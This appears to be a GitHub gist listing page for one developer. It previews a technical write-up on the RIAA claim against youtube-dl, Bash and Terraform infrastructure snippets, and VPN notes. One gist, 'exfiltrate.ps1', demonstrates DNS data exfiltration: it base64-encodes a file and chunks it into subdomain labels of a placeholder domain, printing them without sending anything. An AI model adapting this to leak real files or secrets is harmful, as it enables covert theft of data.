Skip to content

Instantly share code, notes, and snippets.

Avatar
✔️
Exploring, Creating, Educating

János Pásztor janoszen

✔️
Exploring, Creating, Educating
View GitHub Profile
@janoszen
janoszen / riaa-dmca-analysis.md
Last active Oct 31, 2020
Analysis of the RIAA claims against youtube-dl
View riaa-dmca-analysis.md

Technical analysis of the RIAA claim against youtube-dl

This write-up follows the code paths in youtube-dl that get executed when you try to run it based on the claims of RIAA has put forward. This is a technical analysis, not a legal one.

Note: This analysis is based on one of the many unofficial copies of youtube-dl that have popped up during the last few days. I do not have a copy downloaded from the original repository and can in no way guarantee that these findings hold true for the original. However, given the complexity and the shortness of time it seems unlikely that someone went through the trouble of injecting the things in this analysis.

Credits: This analysis would not have been possible without the help of Jan Wildeboer.

As a reminder, RIAA uses the following argument to support their claim that youtube-dl is a tool primarily made for copyright infringement:

@janoszen
janoszen / exo-prom-sd.sh
Last active Aug 18, 2020
Exoscale instance pool service discovery in Bash.
View exo-prom-sd.sh
#!/bin/bash
set -e
if [ -z "$1" ]; then
echo "Usage: exo-prom-sd.sh TARGETFILE"
exit 1
fi
TMPFILE=/tmp/$$
@janoszen
janoszen / exfiltrate.ps1
Created Aug 13, 2020
Exfiltrate data via DNS
View exfiltrate.ps1
$Domain= 'example.com'
$Data= Get-Content "lipsum.txt"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Data)
$EncodedText =[Convert]::ToBase64String($Bytes)
foreach ($Segment in $EncodedText -split '(\w{4})' | ? {$_}) {
echo "${Segment}.${Domain}"
}
@janoszen
janoszen / exoscale-userdata-instance-pool-docker-loadgen.sh
Last active Jul 23, 2020
Load generator + node_exporter user data script
View exoscale-userdata-instance-pool-docker-loadgen.sh
#!/bin/bash
set -e
export DEBIAN_FRONTEND=noninteractive
# region Install Docker
apt-get update
apt-get install -y \
apt-transport-https \
View install-docker.sh
#!/bin/bash
set -e
export DEBIAN_FRONTEND=noninteractive
apt-get update
apt-get install -y \
apt-transport-https \
ca-certificates \
View policy-routed-tunnel.md

Note: I have written a proper tutorial based on these notes. I heavily recommend you read that instead of this document.

Setting up a tunnel

First of all we will need to set up a VPN tunnel. As it turns out, PPP over IP is too hard, so I just went with OpenVPN. Server config file:

dev tun
ifconfig 10.8.0.1 10.8.0.2
View algo.py
from main import Board, Cell
def algo(board: Board):
if board.get_cell_ahead() == Cell.WALL:
board.turn_right()
else:
board.move()
View keybase.md

Keybase proof

I hereby claim:

  • I am janoszen on github.
  • I am janoszen (https://keybase.io/janoszen) on keybase.
  • I have a public key ASAUo5lrZKCrObE_VlRU9y44RO2BG97GWlAFarOdIAOhTwo

To claim this, I am signing this object:

@janoszen
janoszen / provisioner.tf
Last active Apr 17, 2020
Wait for connection after reboot in Terraform
View provisioner.tf
resource "..." "..." {
//Put this after the reboot to wait for it to come up
provisioner "local-exec" {
command = "${path.module}/wait_port ${self.ip_address} ${var.ssh_port}"
working_dir = "${path.module}"
}
}
@janoszen
janoszen / detect.tf
Last active Oct 29, 2020
Terraform OS detection
View detect.tf
data "external" "os" {
program = ["${path.module}/os"]
}
local {
os="${data.external.os.result.os}"
}
You can’t perform that action at this time.